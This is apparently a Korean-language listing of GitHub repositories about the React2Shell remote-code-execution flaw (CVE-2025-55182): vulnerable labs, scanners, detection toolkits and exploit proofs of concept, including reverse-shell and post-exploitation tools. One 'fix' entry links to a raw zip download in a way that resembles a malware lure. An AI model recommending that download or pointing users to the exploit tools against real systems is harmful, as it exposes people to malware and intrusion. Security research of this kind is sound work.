react2shellVulnApp

React2Shell 취약한 은행 애플리케이션 실습 환경 CVE-2025-55182 React 및 CVE-2025-66478 Next.js를 대상으로 한 의도적으로 취약한 은행 앱으로, React2Shell을 학습, 탐지 및 안전하게 실습할 수 있습니다. 패치되지 않은 React 19.0.0 및 Next.js 15.0.3을 실행합니다. 개요 Next.js App Router 및 Server Actions로 구축된 가상의 SecureBank입니다. 기본 구성이며, 사용자 정의 위험 코드가 없고, 의도적으로 패치되지 않은 상태로...

cve-2025-55182-poc

CVE-2025-55182 React2Shell 취약점 분석 실습 환경 이 저장소는 React 19.x 및 Next.js 15.x에 영향을 미치는 React Server ComponentsRSC의 심각한 원격 코드 실행RCE 취약점인 CVE-2025-55182 를 분석하고 재현하기 위한 완전한 환경을 제공합니다. ⚠️ 경고: 이 프로젝트는 의도적으로 취약한 코드를 포함하고 있습니다. 공용 서버나 프로덕션 환경에 배포하지 마십시오. 🔍 취약점 개요 CVE ID: CVE-2025-55182 별칭: React2Shell CVSS 점수...

react2shell-CVE-2025-55182

공격 구성 요소에는 공격 코드가 포함되어 있습니다. 주석을 해제하고 버튼을 누르기만 하면 공격을 수행할 수 있습니다. 서버에서 자신만의 코드를 실행하려면exploit payload에서 prefix 키의 값을 변경하기만 하면 됩니다. AttackString 파일에서 예제를 확인하세요...

CVE-2025-55182

CVE-2025-55182 이 저장소는 CVE-2025-55182 React2Shell 취약점과 관련된 문서를 포함합니다. 문서는 다음에서 확인할 수 있습니다: 웹사이트: https://memergamer.github.io/CVE-2025-55182/ PDF main.pdf: https://github.com/MemerGamer/CVE-2025-55182/releases...

fix-react2shell-next

🚀 fix-react2shell-next - 당신의 https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 앱의 취약점을 수정하세요 📥 지금 다운로드 📝 개요 fix-react2shell-next는 당신의 https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 또는 React RSC 애플리케이션...

CVE-2025-55182

CVE-2025-55182 - React2Shell React Server Components / Next.js 사전 인증 원격 코드 실행 속성| 값 ---|--- CVE ID| CVE-2025-55182 CVSS| 10.0 Critical CWE| CWE-502: Deserialization of Untrusted Data 유형| Pre-Auth RCE 영향을 받는 범위 구성 요소| 영향을 받는 버전 ---|--- React| 19.0.0, 19.1.0, 19.1.1, 19.2.0 Next.js| 15.0.0 15.0.4,...

Vulnerability-assessment

설치 및 사용법 Copy to Nmap scripts directory sudo cp react2shell-detect.nse /usr/share/nmap/scripts/ Update script database sudo nmap --script-updatedb Single target nmap -p80,443 --script react2shell-detect.nse example.com 중요: 이 스크립트는 명시적 서면 허가를 받은 시스템에만 사용하십시오. 승인되지 않은 스캐닝이나 악용은 대부분의 관할권에서 불법입니다...

NSE_CVE-2025-55182

NSECVE-2025-55182 React2ShellCVE-2025-55182 스캔을 위한 Nmap NSE 스크립트 면책 조항 다음 코드는 교육 및 연구 목적으로만 제공됩니다. 이 스크립트의 사용은 전적으로 사용자의 판단과 책임 하에 이루어집니다. 이 스캐너는 오탐false positive 또는 불확실한 결과를 생성할 수 있으므로, 사용자는 보고된 결과를 검증하고 확인해야 합니다. 작성자는 이 코드 실행으로 인한 오용, 손해 또는 의도하지 않은 결과에 대해 어떠한 책임도 지지 않습니다. 이 도구는 명시적 허가를 받은 환경에서만...

React2Shell_Hunter

React2Shell Hunter CVE-2025-55182 및 CVE-2025-66478을 위한 AWS 조직 차원 탐지 툴킷 ⚠️ 중요 면책 조항 - 사용 전 반드시 읽어주세요 이 툴킷은 프로덕션 AWS 환경에서 테스트되지 않았습니다. 인프라 제약으로 인해 이 프로젝트는 코드 리뷰, 정적 분석 및 문서 검증을 통해서만 개발 및 검증되었습니다. 실제 GuardDuty, WAF, EventBridge 또는 CloudTrail 서비스가 활성화된 라이브 AWS 환경에 배포되거나 테스트되지 않았습니다. 이것이 의미하는 바: 구성 요소|...

react2shell

React2Shell CVE-2025-55182 비인증 원격 코드 실행 취약점일명 React2Shell에 대한 개념 증명 익스플로잇입니다. 이 스크립트는 다음 Next.js 버전 이하에서 셸을 획득하는 데 사용됩니다: 15.0.4 이하 15.1.8 이하 15.2.5 이하 15.3.5 이하 15.4.7 이하 15.5.6 이하 16.0.6 이하 14.3.0-canary.77 및 이후 버전 16.0.6 버전에서만 테스트되었습니다. 사용법 $ ./react2shell.py --help d8888b. d88888b .d8b. .o88b...

React2Shell-CVE-2025-55182-PoC-Reverse-Shell

🚀 React2Shell - CVE-2025–55182 익스플로잇 스크립트 🔥 소개 이 저장소는 React2Shell 취약점CVE-2025–55182을 위한 익스플로잇 스크립트를 포함하고 있습니다. 이 취약점은 특정 유형의 Node.js 프로토타입 오염Prototype Pollution 을 대상으로 하여 원격 코드 실행RCE 으로 이어집니다. 이 스크립트는 취약한 애플리케이션에 악성 페이로드를 주입하여 Netcat 리버스 셸 연결을 설정하도록 특별히 설계되었습니다. ⚠️ 면책 조항 이 도구는 교육 및 연구 목적으로만 사용됩니다...

CVE-2025-55182

CVE-2025-55182 React2Shell 익스플로잇 PoC ⚠️ 경고: 이 프로젝트는 보안 연구 목적으로만 의도적으로 취약한 소프트웨어를 사용합니다. 크레딧 PoC의 모든 크레딧은 @maple3142 에게 있습니다. 설정 및 실행 Docker docker-compose up --build 앱은 http://localhost:3000 에서 사용할 수 있습니다. 익스플로잇 python3 CVE-2025-55182.py ⚠️ 법적 고지 이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 이 도구를 사용함으로써, 귀하는...

React2Shell-Scanner

🔬 React2Shell Scanner React 및 Next.js 애플리케이션을 위한 웹 애플리케이션 보안 평가 프레임워크 ⚠️ 중요 공지 이 도구는 승인된 보안 테스트 전용으로 설계되었습니다. ✅ 승인된 침투 테스트 ✅ 범위 내 버그 바운티 프로그램 ✅ 허가를 받은 보안 연구 ✅ 본인 소유 애플리케이션 테스트 ❌ 무단 접근 시도 ❌ 명시적 허가 없는 테스트 사용자는 모든 관련 법률 준수에 대한 단독 책임이 있습니다. 📋 설명 React2Shell Scanner는 보안 전문가가 React 및 Next.js 웹 애플리케이션의...

React2Shell

🚀 R2S - Next.js RSC 익스플로잇 프레임워크 Next.js React Server Components RCE를 위한 고급 포스트-익스플로잇 프레임워크 기능 • 설치 • 사용법 • 명령어 • 예제 📋 개요 R2S 는 Next.js React Server Components 취약점CVE-2025-55182을 대상으로 하는 종합 익스플로잇 및 포스트-익스플로잇 프레임워크입니다. 파일 전송, 지속성, 정보 수집, 권한 상승 점검 등을 포함한 고급 기능을 갖춘 대화형 셸을 제공하며 침투 테스트에 사용됩니다. 🎯 주요 기능 ...

cs50-cybersecurity

cs50-cybersecurity React2ShellCVE-2025-55182에 관한 CS50의 사이버 보안 입문 최종 프로젝트...

React2Shell-CVE-2025-55182

React2Shell-RCE-CVE-2025-55182- React2Shell | CVE-2025-55182 - React Server Components RCE...

React2Shell-CVE-2025-55182

HackIndex.IO - React2Shell - CVE-2025-55182 + CVE-2025-66478 React2Shell 취약점을 위한 HackIndex.io 샌드박스 환경입니다. 포트 3000에서 웹 앱을, 포트 2222에서 SSH 서버를 시작합니다. 환경 시작 docker compose up --build --force-recreate SSH 웹 관리자 포트 2222 webadmin - TrainingPassword123! ssh [email protected] -p 2222 -o...

CVE-2025-71389_exploit

CVE-2025-71389 — Cal.com 인증되지 않은 원격 코드 실행 react2shell Cal.com = 5.9.9로 업그레이드하세요 패치된 Next.js 버전 중 하나: 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7. RSC 서버 함수 핸들러를 신뢰할 수 없는 클라이언트에 노출하지 말고, 앱 컨테이너를 루트로 실행하지...

CVE-2025-55182-Attack-Analysis

CVE-2025-55182 공격 분석: React 서버 컴포넌트 RCE 프로덕션 Next.js 애플리케이션에 대한 실제 공격 분석 📋 목차 요약 취약점 개요 공격 타임라인 기술 분석 악성코드 분석 침해 지표IOC 완화 및 대응 교훈 참고 자료 요약 2025년 12월 5일 , 저희 프로덕션 Next.js 애플리케이션이 React Server Components의 치명적인 원격 코드 실행RCE 취약점인 CVE-2025-55182React2Shell를 악용한 공격자의 표적이 되었습니다. 이 공격은 서버에서 Linux 백도어 트로이...

react-rce

CVE-2025-55182 React2Shell 취약점 실습 사용된 AI : Claude Opus 4.5 ⚠️ 경고 : 이 환경은 교육 및 연구 목적 으로만 사용하세요. 취약점 개요 항목| 내용 ---|--- CVE| CVE-2025-55182 React / CVE-2025-66478 Next.js 이름| React2Shell CVSS| 10.0 Critical 유형| Pre-Auth Remote Code Execution 원인| Flight 프로토콜 역직렬화 시 프로토타입 오염 공격 원리...